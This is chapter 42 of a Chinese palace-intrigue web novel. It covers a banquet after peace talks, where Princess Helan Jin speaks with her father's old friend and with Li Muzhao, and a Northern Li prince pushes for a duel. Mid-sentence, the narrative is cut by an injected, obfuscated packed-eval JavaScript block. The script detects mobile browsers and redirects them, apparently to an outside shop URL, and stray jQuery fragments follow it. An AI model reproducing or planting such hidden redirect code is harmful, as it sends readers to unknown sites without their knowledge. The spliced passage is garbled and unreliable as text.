42. 第 42 章
作品:《她不做权臣》 明华殿内烛火通明,鎏金梁柱映着殿中往来官员的身影。
“华瑾郡主。”王磬率先看到高阶之下的贺兰瑾,连忙迈着小碎步上前,脸上堆着笑意问候。
贺兰瑾挂上浅笑,微微颔首:“两国和谈诸事已定,这些日子王大人辛苦。”
王磬笑得更加开怀,连连点头:“托郡主的福,如今尘埃落定,总算是对得起圣恩,也对得起北境十万将士了。”
“郡主回京已经月余,在京中还住得惯吗?”
一道粗粝沙哑的声线突然在身侧响起,她转身便见一位身着墨色官袍的老者站在身后,胸前是象征身份地位的一品麒麟补子。
贺兰瑾连忙敛衽俯身行礼,姿态恭敬:“晚辈拜见付伯伯。”
“你们兄妹四人,你最像你父亲。”付执言虚扶了她一把,目光落在眼前的姑娘身上,眼神里满是回忆,“原以为我这把老骨头,有生之年再难见到故人的英资,不曾想今日见了你,倒像是看到了你父亲当年的模样。”
贺兰瑾维持着俯身的动作,指尖微微收紧,喉间突然涌上一阵酸涩。
上京城的人很少提起父亲,即便他当年平定幽州之乱、护得北境数年安稳,立下天大的功绩,可人心凉薄,三年时光如指间细沙一般溜走,任是她怎么样都握不住。
二哥的通敌的罪名如沉枷在身,大家对父兄都讳莫如深。
她将翻涌的涩意强压下去,哑着声音说道:“晚辈愚钝,不及家父万分之一。”
世人评价贺兰瑾,说她心狠手辣、不择手段,连手足情分皆抛诸脑后,像山间的野狼。可付执言望着她单薄的肩头,倒是更多不忍。
他伸出手轻轻拍了拍她消瘦的肩膀,转身向内走去时,放低声音说道:“你在江湖长大,听到的学到的,是‘义气’二字;可在这天子脚下,朝堂之上,人心是盘绕的蛛网,每一步都是算计。”
“而这督查司,更是算计中叠着算计。”付执言走到自己的席位前,见她低眉顺眼地跟在身后,终是软了些语气,“我老了,见着你们这些小辈,总是爱唠叨,还望你莫要嫌烦。”
贺兰瑾终于抬起头,眼睛亮亮的像个小孩:“阿瑾日日的祈盼的,就是有长辈能在耳边多唠叨几句,怎么会嫌烦呢?”
“那今日我便倚老卖老多说一句,你和阿峥那孩子,总归是家事,我本不该多言,只是这世上没什么是比亲人重要的,你们俩莫要步你大哥二哥的后尘。”
贺兰瑾重新垂下眼眸,嘴角微抿。
付执言看着她这副模样,忽然没头没尾地开口:“前些年陛下在龙溪原围猎,难得我和你父亲、肃王爷几个老骨头都在京里。那日散了宴,我们三个躲在偏帐里喝了几杯,酒劲上来时,你父亲忽然从怀里掏出个小东西,得意洋洋地跟我们显摆,你猜猜是什么?”
“是你第一次射中靶心的箭头,他用一截红绳穿起来,当个宝贝似的揣在怀里。”不等贺兰瑾回答,他自己先笑了两声,“他说‘我们阿瑾,比她三个哥哥都强,将来肯定能成为大英雄’。说到这儿,付执言的声音轻了些:“那个时候我就明白,你被送走的缘由,不会是传言那样。”
贺兰瑾的指甲扣进掌心,尖锐的痛感才勉强压下涌到眼眶的泪意,张了几次嘴,却没能说出话来,她能轻易地在别人面前眼睛都不眨的胡编乱造,可却不知怎么骗过父亲旧友坦荡的关心。
“不必说。”付执言轻轻摆了摆手,“我也是在高门侯爵府里长大的,走到这个位置要付出什么代价,我比谁都清楚,我不如你父亲。好孩子,过去的事,就不必再提了。”
“你只需要记住,你父亲大概希望你,逍遥自在,不要困在这皇权争斗的牢笼里。”付执言一甩衣袍,落座席位,又抬眼看向她,“日后要是遇到解决不了的事,也不要怕麻烦我们这些老骨头。”
贺兰瑾俯身拜谢。
---
大约是因为她也勉勉强强算个和谈主事,此次宴席的席位竟被破例提至皇子同排,恰好落在李牧昭右侧。
殿中官员们三三两两凑在一起寒暄,贺兰瑾在这没什么熟人,便索性早早落座,目光下意识越过层层人群,望向大殿中央。
这当中最显眼的,莫过于一身绯红亲王服的李牧昭。
周遭年轻些的官员皆为一身绿色官服,唯有他一袭绯色立在人群中,玄色镶银的腰带束着挺拔身形,长身玉立,气度张扬。他双手作揖,眉目含笑,平日里俊朗凌厉的眉眼在暖黄的烛光下变得柔和。
不知对面的人说了什么,李牧昭仰头朗声大笑。
贺兰瑾微微侧头,一时怔在原地。
正怔神间,李牧昭像是忽然察觉到了什么,目光越过人群望了过来,四目相对的瞬间,他眉梢微挑,像个花蝴蝶一样大步流星地向她走来。
春风得意的少年一双桃花眼眼波流转,鬓边几缕碎发随着他的动作轻轻晃动。这张脸确实当的起上京模样最好的少年郎。
看来揽月楼的事没怎么影响到他。
李牧昭大大咧咧地在她左侧席位坐下,动作却难得透着几分正式。他抬手端起桌上的鎏金茶盏,指尖叩了叩杯沿,语气带着几分笑意:“诸事繁忙,本王还没来得及好好谢过郡主。眼下宴席尚未开宴,牧昭便以茶代酒,多谢郡主。”
贺兰瑾的目光在他双手端起的茶盏之上停留了几秒,又重新落回他的脸上。
“谢我什么?”
李牧昭将茶盏往前递了递,桃花眼里盛着几分狡黠:“这第一谢,是谢郡主大人大量。先前在希羚的婚事上,我多有得罪,郡主却并未怪罪;第二谢,是谢郡主在荣寿宫为我解围,皇祖母不喜欢我,那日若不是郡主帮着打圆场,皇祖母难免要多怪罪几句。这第三谢,谢郡主护北境安宁,让我等能安享太平盛世。”
贺兰瑾咽下胸口的涩意,轻声问道:“在殿下眼中,华瑾是个什么样的人?”
这话问得突然,没头没尾。李牧昭明显愣了一下,似乎不明白她是什么意思,但还是垂眸思索了一番,正欲回答。
殿外忽然传来一阵响亮的唱喏声:“陛下驾到——”
这声传唤瞬间打破了殿中的喧闹。所有人都停下了交谈,齐齐转身面向殿门的方向,躬身行礼:“臣等恭迎陛下,陛下万岁万岁万万岁!”
上京的宴席大抵都是一个模样,恭维的话像源源不断的流水涌入大殿,混着酒气与熏香,让人昏昏欲睡。
贺兰瑾莫名的心绪不宁。
“四皇子还是不要说大话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537640|182189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”慎王眉眼含笑,语气却听不出半分笑意,“我大靖英才辈出,即便是年轻一辈中,也有华瑾郡主、莫大统领这样文武双全的高手在,四皇子又是哪里来的底气,敢这样说话?”
“镇北将军自然是人中龙凤。”北黎四皇子琅岐的目光若有似无的在贺兰瑾身上转了一圈,慢悠悠开口,“有这样忠心耿耿又身手了得的武将在侧,皇帝陛下想必很是安心吧。”
其中“忠心耿耿”四个字被咬的极重。
这话里的嘲讽与暗示,在场之人谁听不出来,北安侯府有通敌的前车,难免让人指摘忠心。
贺兰瑾咬了咬后槽牙,想直接把手边的案几掀起来砸到琅岐脸上。
算了,她和琅岐真的有仇,血海深仇。
气氛僵持之际,太子翩然起身,声音温润:“看来北黎没有能让君主安心的武将,才会在战场上输得这般狼狈,既赔城池又送公主,如今倒还有闲心在这里羡慕我大靖人才济济。”
“哈哈哈。”琅岐被噎得说不出话,只能干笑几声,面上明显有了几分怒意,“太子殿下说得是。不过本王前些日子刚纳了一名武将在麾下,那人力大无穷,剑术更是一绝,极有天赋。今日难得见到华瑾郡主,正好想让他向郡主请教几招,不知郡主可敢应战?”
言毕,他不等贺兰瑾回应,便回头向身后摆摆手,高声喊道:“阿史澄,上前来。”
贺兰瑾端坐在席位上,身形未动,目光投向高位之上的建宁帝,大殿之上比武并非没有先例,一切还是要看陛下的意思。
也许连琅岐都不知道,贺兰瑾曾和阿史澄交过手,他的身手未必在莫今之下。
今日若要出手,必然要暴露之前故意输给莫今。
大殿之上,一时间陷入一阵诡异的寂静。
“四皇子有所不知,华瑾郡主前些日子在本王府上受伤,至今尚未恢复。”令人意外,李牧昭出声打破寂静,他话锋一转,目光扫过立在殿侧的莫今,“既来请教,不如向我朝禁军大统领莫今大人请教如何?”
“老五说的是。”慎王立刻附和,顺势转向上座的建宁帝,躬身行礼道,“今日乃是两国和谈后的欢聚宴,不如就让莫大统领与这位北黎勇士切磋一番,既能显我大靖风采,也能增进两国情谊。”
宁王也端着茶盏起身,遥遥向建宁帝作揖,语气谦和:“儿臣以为,二哥所言极是,只要点到为止,不失为一场美谈。”
立在建宁帝身侧的莫今立刻上前一步,微微俯身,向建宁帝请示。
他本就是当朝武功数一数二的武将,又执掌禁军,向来以沉稳可靠著称。眼下北黎明显是想借切磋发难,若要震慑宵小、维护大靖颜面,他自然当仁不让。
“两位皇儿所言甚合朕意。”建宁帝坐在龙椅上,朗声大笑,“爱卿,去吧,注意分寸即可。”
“皇帝陛下。”大殿中央的阿史澄突然上前一步,声音洪亮如钟,“我仰慕贺兰将军威名,得知贺兰将军离开北境,才千里追随至此,只求能向华瑾郡主请教一二,了却心中夙愿!还望皇帝陛下成全!”
说罢,他猛地转向贺兰瑾,面上是毫不掩饰的挑衅:“江湖比武乃是传统,将军莫非要像个磨磨唧唧的女人,躲在旁人身后不敢应战吗?”

